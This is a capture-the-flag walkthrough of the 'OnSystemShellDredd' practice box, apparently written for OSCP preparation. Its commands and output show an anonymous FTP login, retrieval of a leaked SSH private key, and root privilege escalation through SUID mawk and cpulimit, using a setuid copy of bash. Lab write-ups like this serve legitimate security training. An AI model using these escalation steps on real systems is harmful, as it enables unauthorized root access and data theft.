OnSystemShellDredd

Started the OSCP playground box to get warmed up again on boxes. Connected hacking boxes with learning music via sheet music. At first, it's based on sheet music until it's memorized and ingrained in muscle memory.

Target: 192.168.52.130 

Net Scan: nmap -sC -sV -vv -p- 192.168.56.104

PORT      STATE SERVICE REASON  VERSION

21/tcp    open  ftp     syn-ack vsftpd 3.0.3

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst: 

|   STAT: 

| FTP server status:

|      Connected to ::ffff:192.168.49.52

|      Logged in as ftp

|      TYPE: ASCII

|      No session bandwidth limit

|      Session timeout in seconds is 300

|      Control connection is plain text

|      Data connections will be plain text

|      At session startup, client count was 1

|      vsFTPd 3.0.3 - secure, fast, stable

|_End of status

61000/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey: 

|   2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)

| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiOZxbr74TmNuWOBDmPInK6nZnRGfOMtZMJDBErXIPCZR9kdZDqJbkdRlnP8QLGuTl/t8qPgP863Rl1yfJLSv995PQ+oUZTSa21cGulVCtFFCKedJJJF9p2cAyYzjeA9qg1Ja7dOPtyPsSCplYzZcILwXZ52mg1k8VH2HUZ7DO0wMBYWONhkXWRR49gMN+IKge3DXNrfyHtnjMVWTwEtfqjFd+D70qi7UusZyfP2MogDX7LgRWC9RmvS6o8KxYW4psLWDB2dp/Nf3FitenY0UMPKkHrxxjeqfYZhFwENmHAsxzrHJo1acSrNMUbTdWuLzcLHQgMIYMUlmGvDkg31c/

|   256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNXNPAPJkUYF4+uu955+0RpMZKriG9olCwtkPB3j5XbiiB+B7WEVv331ittcLxibSBWqV2OO328ThebB2YF9qvI=

|   256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP5tk066endR9DMYxXzxhixx6c8cQ0HjGvYbtL8Lgv91

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP is open with anonymous FTP login

ftp 192.168.52.130

Connected to 192.168.52.130.

220 (vsFTPd 3.0.3)

Name (192.168.52.130:kali): anonymous

331 Please specify the password.

Password: 

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 

Now to look for files

ftp> ls -alt

229 Entering Extended Passive Mode (|||60483|)

150 Here comes the directory listing.

drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..

drwxr-xr-x    3 0        115          4096 Aug 06  2020 .

drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah

226 Directory send OK.

ftp> cd .hannah

250 Directory successfully changed.

ftp> ls -alt

229 Entering Extended Passive Mode (|||22190|)

150 Here comes the directory listing.

drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..

drwxr-xr-x    2 0        0            4096 Aug 06  2020 .

-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa

Found an SSH ID for Hannah. Now to download

ftp> get id_rsa

local: id_rsa remote: id_rsa

229 Entering Extended Passive Mode (|||19319|)

150 Opening BINARY mode data connection for id_rsa (1823 bytes).

100% |********************************|  1823        1.25 MiB/s    00:00 ETA

226 Transfer complete.

1823 bytes received in 00:00 (867.15 KiB/s)

ftp> 

Now before using the rsa id file I'll need to update it's permissions so that it can be used with SSH. The SSH key requires a specific set of permissions where it needs read and write permissions on the User or Owner so I'll add 600 permission for the minimum priviledges required.

chmod 600 id_rsa

Now time to connect to Hannah

ssh -i id_rsa hannah@192.168.56.104 -p 61000

ssh

-i = id file

-p port

I'm in

??$ ssh -i id_rsa hannah@192.168.52.130 -p 61000

The authenticity of host '[192.168.52.130]:61000 ([192.168.52.130]:61000)' can't be established.

ED25519 key fingerprint is SHA256:6tx3ODoidGvtQl+T9gJivu3xnndw7PXje1XLn+lZuSM.

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '[192.168.52.130]:61000' (ED25519) to the list of known hosts.

Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

hannah@ShellDredd:~$ 

Now to look around

hannah@ShellDredd:~$ ls -alt

total 32

-rw-r--r-- 1 hannah hannah   33 Feb 26 20:40 local.txt

drwxr-xr-x 3 hannah hannah 4096 Jan 29  2021 .

-rw-r--r-- 1 hannah hannah   32 Jan 29  2021 user.txt

lrwxrwxrwx 1 root   root      9 Jan 21  2021 .bash_history -> /dev/null

drwxr-xr-x 2 root   root   4096 Aug  6  2020 .ssh

-rw-r--r-- 1 hannah hannah  220 Aug  6  2020 .bash_logout

-rw-r--r-- 1 hannah hannah 3526 Aug  6  2020 .bashrc

-rw-r--r-- 1 hannah hannah  807 Aug  6  2020 .profile

drwxr-xr-x 3 root   root   4096 Aug  6  2020 ..

hannah@ShellDredd:~$ cat user.txt 

Your flag is in another file...

hannah@ShellDredd:~$ cat local.txt 

db159408536649c7eb5989777af6c8e2

hannah@ShellDredd:~$

Search for SUID permission programs

hannah@ShellDredd:~$ find / -perm -4000 2>/dev/null

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/openssh/ssh-keysign

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/umount

/usr/bin/mawk

/usr/bin/chfn

/usr/bin/su

/usr/bin/chsh

/usr/bin/fusermount

/usr/bin/cpulimit

/usr/bin/mount

/usr/bin/passwd

hannah@ShellDredd:~$ 

Two binaries that can be used to escalate to root.

MAWK

As the SUID bit is set on this binary, we can use mawk to do a privileged read of the /root/root.txt file.

First, we'll set an environment variable of the file we want to read (/root/root.txt):

ROOT_FLAG=/root/root.txt

We can then run the mawk command and pass in the above variable:

mawk '//' "$ROOT_FLAG"

CPULIMIT

Man Page

       -l, --limit=N

              percentage of CPU allowed from 1 up. Usually 1 - 100, but can

              be higher on multi-core CPUs. (mandatory)

       -f, --foreground

              run cpulimit in foreground while waiting for launched process

              to finish

Now to use -f for privilege escalation

hannah@ShellDredd:~$ cd /tmp/

hannah@ShellDredd:/tmp$ cpulimit -l 100 -f mkdir /temp

Process 1274 detected

Child process is finished, exiting...

hannah@ShellDredd:/tmp$ cpulimit -l 100 -f chmod 4755 /use/bin/bash

Process 1280 detected

chmod: cannot access '/use/bin/bash': No such file or directory

Child process is finished, exiting...

hannah@ShellDredd:/tmp$ cpulimit -l 100 -f cp /usr/bin/bash /temp

Process 1294 detected

Child process is finished, exiting...

hannah@ShellDredd:/tmp$ cpulimit -l 100 -f chmod +s /temp/bash   

Process 1296 detected

Child process is finished, exiting...

hannah@ShellDredd:/tmp$ cd /

hannah@ShellDredd:/$ ls

bin   home            lib32       media  root  sys   var

boot  initrd.img      lib64       mnt    run   temp  vmlinuz

dev   initrd.img.old  libx32      opt    sbin  tmp   vmlinuz.old

etc   lib             lost+found  proc   srv   usr

hannah@ShellDredd:/$ cd temp/

hannah@ShellDredd:/temp$ ./bash -p

bash-5.0# cd root

bash: cd: root: No such file or directory

bash-5.0# cd /root

bash-5.0# ls

proof.txt  root.txt

bash-5.0# cat root.txt 

Your flag is in another file...

bash-5.0# cat proof.txt 

c2a2e74b3fb38ef1d7dfba26a65760da

I like the CPULIMIT method myself since it makes more sense. Basically, CPULIMIT is a cpu tool that also has the ability to run a command. This one feature is utilized to escalate privileges.

Went through this TTP for recon and this TTP for privilege escalation